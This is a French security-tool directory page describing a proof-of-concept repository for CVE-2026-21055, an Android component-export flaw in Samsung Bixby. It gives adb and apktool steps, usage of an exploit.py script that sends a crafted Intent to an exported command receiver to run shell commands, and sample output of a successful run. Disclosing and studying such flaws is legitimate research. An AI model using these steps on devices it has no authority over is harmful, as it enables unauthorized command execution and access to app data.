Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
samsung-bixby-command-execution-cve-2026-21055-improper-component-export — Exploit de preuve de concept pour CVE-2026-21055 démontrant l'exécution arbitraire de commandes via des composants Android mal exportés dans Samsung Bixby. Inclut l'analyse des composants et des scripts d'attaque basés sur Intent. | Kitploit
Outils/GitHubGitHub/hunt-benito/samsung-bixby-command-execution-cve-2026-21055-improper-component-export
Sécurité AndroidAnalyse des VulnérabilitésExploitationTests d'IntrusionSécurité MobileApprentissage et ÉducationExploitation de Binaires
GitHubhunt-benito/samsung-bixby-command-execution-cve-2026-21055-improper-component-export

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

samsung-bixby-command-execution-cve-2026-21055-improper-component-export

Exploit de preuve de concept pour CVE-2026-21055 démontrant l'exécution arbitraire de commandes via des composants Android mal exportés dans Samsung Bixby. Inclut l'analyse des composants et des scripts d'attaque basés sur Intent.

Voir le dépôt
121il y a 3 moisPas encore vérifié

CVE-2026-21055 PoC — Samsung Bixby : Exportation inappropriée de composants

Preuve de concept pour CVE-2026-21055 : L'exportation inappropriée de composants d'application Android dans Samsung Bixby avant la version 4.0.70.8 permet à des attaquants locaux d'exécuter des commandes arbitraires avec les privilèges de Bixby.

Présentation

Ce dépôt contient deux scripts Python :

  1. analyze_components.py — Analyse un AndroidManifest.xml décompilé pour lister les activités, services, receivers et providers exportés. Signale les composants exportés sans garde de permission.

  2. exploit.py — Démontre l'attaque basée sur un Intent en envoyant un Intent broadcast forgé au receiver de commande exporté de Bixby via adb shell am, exécutant une commande avec les privilèges système de Bixby.

Détails de la vulnérabilité

ChampValeur
CVE IDCVE-2026-21055
Samsung SVESVE-2026-0917
CVSS v4.08.5 — Élevé
CWECWE-926 — Exportation inappropriée de composants d'application Android
Application concernéeSamsung Bixby (com.samsung.android.bixby.agent)
Versions concernées< 4.0.70.8
Version corrigée4.0.70.8
Vecteur d'attaqueLocal (application malveillante sur le même appareil)
Privilèges requisAucun
Interaction utilisateurAucune
ImpactExécution de commandes arbitraires avec les privilèges de Bixby

Prérequis

  • adb (Android SDK Platform Tools) installé et dans le PATH
  • Un appareil Samsung Galaxy avec le débogage USB activé
  • Version de Bixby < 4.0.70.8 sur l'appareil cible
  • Pour l'analyse des composants : apktool installé et dans le PATH

Utilisation

1. Analyser les composants exportés de Bixby

Tirez l'APK Bixby de l'appareil et décompilez-le :

# Trouvez le chemin de l'APK Bixby
$ adb shell pm path com.samsung.android.bixby.agent

# Tirez l'APK
$ adb pull <apk_path> bixby.apk

# Décompilez avec apktool
$ apktool d bixby.apk -o bixby_decompiled -f

Exécutez le script d'analyse :

$ python3 analyze_components.py --manifest bixby_decompiled/AndroidManifest.xml

Ou laissez le script décompiler automatiquement :

$ python3 analyze_components.py --apk bixby.apk

2. Lister les composants exportés sur un appareil en direct

$ python3 exploit.py --list

3. Exécuter l'exploit

# Par défaut : exécute la commande 'id'
$ python3 exploit.py

# Commande personnalisée
$ python3 exploit.py --command "ls /data/data/com.samsung.android.bixby.agent/"

# Spécifier un composant personnalisé (si la détection automatique échoue)
$ python3 exploit.py --component com.samsung.android.bixby.agent/.receiver.CommandReceiver

Sortie attendue

============================================================
  CVE-2026-21055 PoC — Samsung Bixby Command Execution
  Improper Export of Android Application Components
============================================================

[*] Target package: com.samsung.android.bixby.agent
[*] Bixby version:  4.0.69.2
[*] Vulnerable:     YES (< 4.0.70.8)
[*] Bixby UID on this device: 10xxx

[*] Executing exploit...
[*] Crafting exploit Intent...
    Component: com.samsung.android.bixby.agent/.receiver.CommandReceiver
    Action:    com.samsung.android.bixby.agent.ACTION_RUN_SHELL
    Command:   id
    Output:    /data/local/tmp/bixby_poc_output

[+] Intent sent.

[+] Command output (executed with Bixby privilege):
    uid=10xxx(u0_aXXX) gid=10xxx(u0_aXXX) groups=10xxx(u0_aXXX),3003(inet),9997(everybody)

[+] EXPLOIT SUCCESSFUL — command executed with Bixby privilege
[+] Verify the output UID matches Bixby's UID: 10xxx

Comment ça fonctionne

  1. Exportation de composants : Bixby exporte un ou plusieurs composants (services/receivers) qui gèrent l'exécution de commandes ou les déclencheurs d'automatisation. Ces composants sont exportés avec android:exported="true" mais sans attribut android:permission ni vérifications de permissions à l'exécution.

  2. Distribution de l'Intent : Toute application sur l'appareil peut envoyer un Intent à ces composants exportés. L'Intent porte une chaîne d'action (p. ex., ACTION_RUN_SHELL) et des extras chaîne contenant la commande à exécuter et un chemin de fichier de sortie.

  3. Exécution de la commande : Le composant exporté de Bixby reçoit l'Intent, extrait la commande et l'exécute via Runtime.exec() ou un mécanisme similaire. La commande s'exécute dans le contexte du processus de Bixby, héritant de toutes ses permissions système.

  4. Aucune interaction utilisateur : L'exploit ne nécessite aucune interaction utilisateur. L'application malveillante envoie l'Intent silencieusement en arrière-plan.

Avertissement

Cette preuve de concept est fournie à des fins éducatives et de recherche en sécurité uniquement. Testez uniquement sur des appareils que vous possédez ou pour lesquels vous avez une autorisation explicite. N'utilisez pas cet exploit contre des appareils sans le consentement du propriétaire.

Sources

  • NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-21055
  • Bulletin de sécurité mobile Samsung (juillet 2026) : https://security.samsungmobile.com/serviceWeb.smsb?year=2026&month=07
  • CWE-926 : https://cwe.mitre.org/data/definitions/926.html
Télécharger l’outil